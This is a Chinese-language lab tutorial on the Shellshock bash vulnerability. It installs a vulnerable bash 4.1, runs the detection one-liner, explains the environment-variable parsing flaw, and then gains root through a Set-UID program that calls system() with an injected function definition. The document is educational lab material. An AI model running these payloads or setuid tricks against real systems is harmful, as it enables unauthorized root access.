
image.png
介紹
wiki: Shellshock,又稱Bashdoor,是在Unix中廣泛使用的Bash shell中的一個安全漏洞,首次于2014年9月24日公開。許多互聯(lián)網(wǎng)守護進程,如網(wǎng)頁服務器,使用bash來處理某些命令,從而允許攻擊者在易受攻擊的Bash版本上執(zhí)行任意代碼。這可使攻擊者在未授權的情況下訪問計算機系統(tǒng)。
環(huán)境搭建
- 下載
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
使用非 root 用戶登錄,這里使用 ubuntu 用戶,然后切到 root 權限安裝4.1版 bash。
- 解壓并進入目錄
$ tar xf bash-4.1.tar.gz && cd bash-4.1
- 配置
$ ./configure
- 構建
$ make && make test
- 安裝
$ make install
- 刪除舊 bash 軟連接
$ rm /bin/bash
- 創(chuàng)建新 bash 軟連接
$ ln -s /usr/local/bin/bash /bin/bash
刪除原來的 bash 軟連接,并創(chuàng)建新的軟連接,到目前為止,環(huán)境已經(jīng)搭建完成。
測試
- 退出 root 用戶
$ exit
- 檢測是否存在 shellshock 漏洞
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
如果輸出 vulnerable,說明 bash 有漏洞。
shellshock漏洞說明
簡單了解下 bash 自定義函數(shù),只需要函數(shù)名就能夠調(diào)用該函數(shù)。
- bash 自定義函數(shù)
$ export foo='() { :; }; echo Hello World'
$ bash
$ Hello World
- bash 對應的環(huán)境變量
KEY = foo
VALUE = () { :; }; echo Hello World
bash 讀取了環(huán)境變量,在定義 foo 之后直接調(diào)用了后面的函數(shù)。一旦調(diào)用 bash,自定義的語句就直接觸發(fā)。
重現(xiàn)shellshock攻擊
通過攻擊 Set-UID 程序來獲得 root 權限。
- 創(chuàng)建軟連接,讓 /bin/sh 指向 /bin/bash
$ sudo ln -sf /bin/bash /bin/sh
- 創(chuàng)建 /home/ubuntu/shock.c,內(nèi)容如下
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
void main()
{
setuid(geteuid()); // 設置real uid等于effective uid
system("/bin/ls -l");
}
- 切換 root 用戶編譯 shock.c
$ sudo su && gcc -o shock shock.c
- 設置編譯后的 shock 所有者為 root
$ chmod u+s shock
hack 過程
- 切換 ubuntu 用戶
$ exit
- 執(zhí)行 shock
$ export foo='() { :; }; bash'
$ ./shock
$ root@VM-2-14-ubuntu:/home/ubuntu
成功拿到 root 用戶權限。